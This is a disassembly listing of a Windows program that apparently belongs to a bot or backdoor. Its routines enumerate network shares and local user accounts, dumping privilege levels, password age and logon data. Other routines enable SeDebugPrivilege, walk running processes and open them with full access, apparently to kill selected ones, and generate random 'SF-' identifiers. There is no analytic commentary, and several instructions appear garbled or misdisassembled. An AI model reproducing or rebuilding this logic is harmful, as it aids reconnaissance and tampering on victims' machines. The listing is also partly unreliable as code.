push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 18h loc_4133DF: ; CODE XREF: sub_4133A6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_43A2C4 mov ebx, eax cmp ebx, esi jz short loc_413442 cmp ebx, 0EAh jz short loc_413442 push ebx push ebx call sub_413B5B pop ecx push eax lea eax, [ebp+var_210] push offset dword_436D7C push eax call sub_4154CD push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 24h jmp short loc_4134AF ; --------------------------------------------------------------------------- loc_413442: ; CODE XREF: sub_4133A6+5Dj ; sub_4133A6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4134A6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_413450: ; CODE XREF: sub_4133A6+FCj push dword ptr [esi+10h] call ds:dword_43A26C ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_413467 mov eax, offset aNo ; "No" loc_413467: ; CODE XREF: sub_4133A6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4154CD push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_413450 xor esi, esi loc_4134A6: ; CODE XREF: sub_4133A6+A2j push [ebp+var_4] call ds:dword_43A408 loc_4134AF: ; CODE XREF: sub_4133A6+9Aj cmp ebx, 0EAh jz loc_4133DF xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4133A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134C7 proc near ; CODE XREF: seg000:loc_40EEC9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_41356B mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_413509 dec eax jz short loc_4134FE dec eax jnz short loc_413524 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_41360D add esp, 14h jmp short loc_413520 ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_4134C7+1Dj push ebx push edi call sub_4135EC pop ecx pop ecx jmp short loc_413520 ; --------------------------------------------------------------------------- loc_413509: ; CODE XREF: sub_4134C7+1Aj cmp [ebp+arg_8], edi jz short loc_41351D push [ebp+arg_8] push ebx push edi call sub_413592 add esp, 0Ch jmp short loc_413520 ; --------------------------------------------------------------------------- loc_41351D: ; CODE XREF: sub_4134C7+45j push 57h pop eax loc_413520: ; CODE XREF: sub_4134C7+35j ; sub_4134C7+40j ... cmp eax, edi jnz short loc_413544 loc_413524: ; CODE XREF: sub_4134C7+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_468E40 push ds:off_436614[eax*4] push offset dword_436E6C push esi call sub_4154CD add esp, 10h jmp short loc_41358B ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4134C7+5Bj push eax call sub_413B5B push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_468E40 push ds:off_436610[eax*4] push offset dword_436E2C push esi call sub_4154CD add esp, 18h jmp short loc_41358B ; --------------------------------------------------------------------------- loc_41356B: ; CODE XREF: sub_4134C7+Dj mov eax, [ebp+arg_0] mov esi, offset dword_468E40 lea eax, [eax+eax*2] push ds:off_436610[eax*4] push offset dword_436DF0 push esi call sub_4154CD add esp, 0Ch loc_41358B: ; CODE XREF: sub_4134C7+7Bj ; sub_4134C7+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4134C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413592 proc near ; CODE XREF: sub_4134C7+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_413342 push [ebp+arg_4] mov edi, eax call sub_413342 push [ebp+arg_8] mov [ebp+var_24], eax call sub_413342 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_43A25C pop edi leave retn sub_413592 endp ; =============== S U B R O U T I N E ======================================= sub_4135EC proc near ; CODE XREF: sub_4134C7+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_413342 push [esp+8+arg_4] mov esi, eax call sub_413342 pop ecx pop ecx push eax push esi call ds:dword_43A24C pop esi retn sub_4135EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41360D proc near ; CODE XREF: sub_4134C7+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_413342 push [ebp+arg_4] mov esi, eax call sub_413342 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_43A3D0 test eax, eax mov [ebp+arg_0], eax jnz loc_41399A mov eax, [ebp+var_4] test eax, eax jz loc_4139D5 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4154CD mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_413726 dec eax jz short loc_41371F dec eax jz short loc_413718 mov eax, offset aUnknown ; "Unknown" jmp short loc_41372B ; --------------------------------------------------------------------------- loc_413718: ; CODE XREF: sub_41360D+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41372B ; --------------------------------------------------------------------------- loc_41371F: ; CODE XREF: sub_41360D+FFj mov eax, offset aUser_1 ; "User" jmp short loc_41372B ; --------------------------------------------------------------------------- loc_413726: ; CODE XREF: sub_41360D+FCj mov eax, offset aGuest ; "Guest" loc_41372B: ; CODE XREF: sub_41360D+109j ; sub_41360D+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4154CD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D32 add esp, 20h pop edi pop ebx jmp short loc_4139C6 ; --------------------------------------------------------------------------- loc_41399A: ; CODE XREF: sub_41360D+35j push eax lea eax, [ebp+var_204] push offset dword_436EA0 push eax call sub_4154CD push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_412D32 add esp, 20h loc_4139C6: ; CODE XREF: sub_41360D+38Bj cmp [ebp+var_4], 0 jz short loc_4139D5 push [ebp+var_4] call ds:dword_43A408 loc_4139D5: ; CODE XREF: sub_41360D+40j ; sub_41360D+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_41360D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139DB proc near ; CODE XREF: seg000:0040EEF5p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_413342 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 18h loc_413A1A: ; CODE XREF: sub_4139DB+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_43A2E0 cmp eax, esi mov [ebp+var_C], eax jz short loc_413A7B cmp eax, 0EAh jz short loc_413A7B push eax push eax call sub_413B5B pop ecx push eax lea eax, [ebp+var_218] push offset dword_4370A8 push eax call sub_4154CD push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 24h jmp short loc_413AF6 ; --------------------------------------------------------------------------- loc_413A7B: ; CODE XREF: sub_4139DB+62j ; sub_4139DB+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_413B09 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_413AF6 loc_413A8D: ; CODE XREF: sub_4139DB+EDj cmp edi, esi jz short loc_413ACC push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_5 ; " %S" push eax call sub_4154CD push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_413A8D jmp short loc_413AF6 ; --------------------------------------------------------------------------- loc_413ACC: ; CODE XREF: sub_4139DB+B4j lea eax, [ebp+var_218] push offset dword_437060 push eax call sub_4154CD push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 1Ch loc_413AF6: ; CODE XREF: sub_4139DB+9Ej ; sub_4139DB+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_413B09 push edi call ds:dword_43A408 xor edi, edi mov [ebp+var_4], edi loc_413B09: ; CODE XREF: sub_4139DB+A5j ; sub_4139DB+120j cmp [ebp+var_C], 0EAh jz loc_413A1A cmp edi, esi jz short loc_413B21 push edi call ds:dword_43A408 loc_413B21: ; CODE XREF: sub_4139DB+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4154CD push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4139DB endp ; =============== S U B R O U T I N E ======================================= sub_413B5B proc near ; CODE XREF: sub_4131B1+41p ; sub_4133A6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_413C0D jz loc_413C06 cmp eax, 7Bh ja short loc_413BD2 jz short loc_413BC8 cmp eax, 5 jz short loc_413BBE cmp eax, 8 jz short loc_413BB4 cmp eax, 32h jz short loc_413BAA cmp eax, 35h jz short loc_413BA0 cmp eax, 57h jnz loc_413C5C push offset aInvalidParamet ; "Invalid parameter." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BA0: ; CODE XREF: sub_413B5B+30j push offset aServerNameNotF ; "Server name not found." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BAA: ; CODE XREF: sub_413B5B+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BB4: ; CODE XREF: sub_413B5B+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BBE: ; CODE XREF: sub_413B5B+21j push offset aAccessDenied_ ; "Access denied." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BC8: ; CODE XREF: sub_413B5B+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BD2: ; CODE XREF: sub_413B5B+1Aj sub eax, 7Ch jz short loc_413BFF sub eax, 7C8h jz short loc_413BF8 dec eax jz short loc_413BEE dec eax jnz short loc_413C5C push offset aDuplicateShare ; "Duplicate share name." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BEE: ; CODE XREF: sub_413B5B+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_413C7D ; --------------------------------------------------------------------------- loc_413BF8: ; CODE XREF: sub_413B5B+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413BFF: ; CODE XREF: sub_413B5B+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C06: ; CODE XREF: sub_413B5B+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C0D: ; CODE XREF: sub_413B5B+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_413C46 jz short loc_413C3F sub eax, 8ADh jz short loc_413C71 dec eax dec eax jz short loc_413C38 dec eax jz short loc_413C31 dec eax dec eax jnz short loc_413C5C push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C31: ; CODE XREF: sub_413B5B+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C38: ; CODE XREF: sub_413B5B+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C3F: ; CODE XREF: sub_413B5B+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C46: ; CODE XREF: sub_413B5B+B9j sub eax, 8CAh jz short loc_413C78 sub eax, 17h jz short loc_413C71 sub eax, 25h jz short loc_413C6A sub eax, 29h jz short loc_413C63 loc_413C5C: ; CODE XREF: sub_413B5B+35j ; sub_413B5B+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C63: ; CODE XREF: sub_413B5B+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C6A: ; CODE XREF: sub_413B5B+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C71: ; CODE XREF: sub_413B5B+C2j ; sub_413B5B+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_413C7D ; --------------------------------------------------------------------------- loc_413C78: ; CODE XREF: sub_413B5B+F0j push offset aNetworkConnect ; "Network connection not found." loc_413C7D: ; CODE XREF: sub_413B5B+40j ; sub_413B5B+4Aj ... push offset dword_468BE0 call sub_4154CD pop ecx mov eax, offset dword_468BE0 pop ecx retn sub_413B5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C8F proc near ; CODE XREF: seg000:0040EF34p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4179D9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 3D0000h wait lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4179D9 lea eax, [ebp+var_718] push eax call sub_4179BC add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call ds:dword_43A388 test eax, eax jnz short loc_413D1F mov esi, offset dword_4689DC push offset dword_437400 push esi call sub_4154CD pop ecx pop ecx jmp short loc_413D48 ; --------------------------------------------------------------------------- loc_413D1F: ; CODE XREF: sub_413C8F+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_413B5B pop ecx mov esi, offset dword_4689DC push eax push offset dword_4373C4 push esi call sub_4154CD add esp, 14h loc_413D48: ; CODE XREF: sub_413C8F+8Ej mov eax, esi pop esi leave retn sub_413C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D4D proc near ; CODE XREF: sub_409DD7+7p ; sub_413DB8+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 3D0000h add [eax-1], dl adc eax, offset dword_43A35C test eax, eax jnz short loc_413D6C leave retn ; --------------------------------------------------------------------------- loc_413D6C: ; CODE XREF: sub_413D4D+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_43A334 ; LookupPrivilegeValueA test eax, eax jz short loc_413DAA cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_413D93 or [ebp+var_8], 2 jmp short loc_413D97 ; --------------------------------------------------------------------------- loc_413D93: ; CODE XREF: sub_413D4D+3Ej and [ebp+var_8], 0FFFFFFFDh loc_413D97: ; CODE XREF: sub_413D4D+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_43A3E4 ; AdjustTokenPrivileges mov esi, eax loc_413DAA: ; CODE XREF: sub_413D4D+32j push [ebp+var_4] call ds:dword_42106C ; CloseHandle mov eax, esi pop esi leave retn sub_413D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413DB8 proc near ; CODE XREF: seg000:00411610p ; sub_413F69+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_43A398, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_413F62 cmp ds:dword_43A37C, ebx jz loc_413F62 cmp ds:dword_43A298, ebx jz loc_413F62 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413D4D pop ecx pop ecx push ebx push 0Fh call ds:dword_43A398 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_413F55 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call ds:dword_43A37C ; Process32First mov esi, ds:dword_42106C test eax, eax jz loc_413F50 loc_413E5B: ; CODE XREF: sub_413DB8+BEj ; sub_413DB8+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call ds:dword_43A298 ; Process32Next test eax, eax jz loc_413F50 cmp [ebp+arg_10], ebx jnz short loc_413E5B cmp [ebp+arg_C], ebx jnz loc_413F08 cmp [ebp+arg_4], ebx jz short loc_413E5B push [ebp+var_124] push 8 call ds:dword_43A398 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_413EC5 lea eax, [ebp+var_350] push eax push edi call ds:dword_43A244 ; Module32First push [ebp+var_124] test eax, eax jz short loc_413ECB lea eax, [ebp+var_230] jmp short loc_413ED1 ; --------------------------------------------------------------------------- loc_413EC5: ; CODE XREF: sub_413DB8+EBj push [ebp+var_124] loc_413ECB: ; CODE XREF: sub_413DB8+103j lea eax, [ebp+var_108] loc_413ED1: ; CODE XREF: sub_413DB8+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4154CD add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h push edi call esi ; CloseHandle jmp loc_413E5B ; --------------------------------------------------------------------------- loc_413F08: ; CODE XREF: sub_413DB8+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4158F0 pop ecx test eax, eax pop ecx jnz loc_413E5B push [ebp+var_124] push ebx push 1F0FFFh call near ptr 3D0000h loc_413F32: ; CODE XREF: sub_413DB8+17Cj mov edi, edi jnz short loc_413F32 mov edi, eax call esi ; CloseHandle push ebx push edi call near ptr 3D0000h wait test eax, eax jnz short loc_413F4B push edi call esi ; CloseHandle jmp short loc_413F62 ; --------------------------------------------------------------------------- loc_413F4B: ; CODE XREF: sub_413DB8+18Cj push 1 pop eax jmp short loc_413F64 ; --------------------------------------------------------------------------- loc_413F50: ; CODE XREF: sub_413DB8+9Dj ; sub_413DB8+B5j push [ebp+var_4] call esi ; CloseHandle loc_413F55: ; CODE XREF: sub_413DB8+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413D4D pop ecx pop ecx loc_413F62: ; CODE XREF: sub_413DB8+3Aj ; sub_413DB8+46j ... xor eax, eax loc_413F64: ; CODE XREF: sub_413DB8+196j pop edi pop esi pop ebx leave retn sub_413DB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F69 proc near ; DATA XREF: seg000:004121C8o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_4374D0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4154CD xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_413FC8 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412D32 add esp, 14h loc_413FC8: ; CODE XREF: sub_413F69+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_413DB8 add esp, 18h test eax, eax jnz short loc_413FF0 push offset dword_437494 jmp short loc_413FF5 ; --------------------------------------------------------------------------- loc_413FF0: ; CODE XREF: sub_413F69+7Ej push offset dword_43745C loc_413FF5: ; CODE XREF: sub_413F69+85j lea eax, [ebp+var_298] push eax call sub_4154CD cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_414028 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412D32 add esp, 14h loc_414028: ; CODE XREF: sub_413F69+9Dj lea eax, [ebp+var_298] push eax call sub_40B151 push [ebp+var_14] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h retn sub_413F69 endp ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= sub_414047 proc near ; CODE XREF: seg000:004115B2p ; sub_4150B4+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 3D0000h repne mov esi, eax test esi, esi jz short loc_414079 push 0 push esi call near ptr 3D0000h les eax, [ebp+560975C0h] xor edi, edi call ds:dword_42106C ; CloseHandle loc_414079: ; CODE XREF: sub_414047+1Aj mov eax, edi pop edi pop esi retn sub_414047 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41407E proc near ; CODE XREF: sub_4036D4+Ap ; sub_403C8B+16p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_415529 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_421668 call sub_415F6C sub esi, eax mov eax, esi pop esi leave retn sub_41407E endp ; =============== S U B R O U T I N E ======================================= sub_4140AE proc near ; CODE XREF: sub_414419+49p ; DATA XREF: seg002:off_437518o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_42104C ; GetTickCount push eax call sub_41551F mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aSf_0 ; "SF-" push offset aS_1 ; "%s" push 1Ch push edi call sub_415A4A xor esi, esi add esp, 10h cmp ds:dword_42C168, esi jle short loc_414107 loc_4140E1: ; CODE XREF: sub_4140AE+57j call sub_415529 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_43756C push 1Ch push edi call sub_415A4A add esp, 14h inc esi cmp esi, ds:dword_42C168 jl short loc_4140E1 loc_414107: ; CODE XREF: sub_4140AE+31j mov eax, edi pop edi pop esi retn sub_4140AE endp ; =============== S U 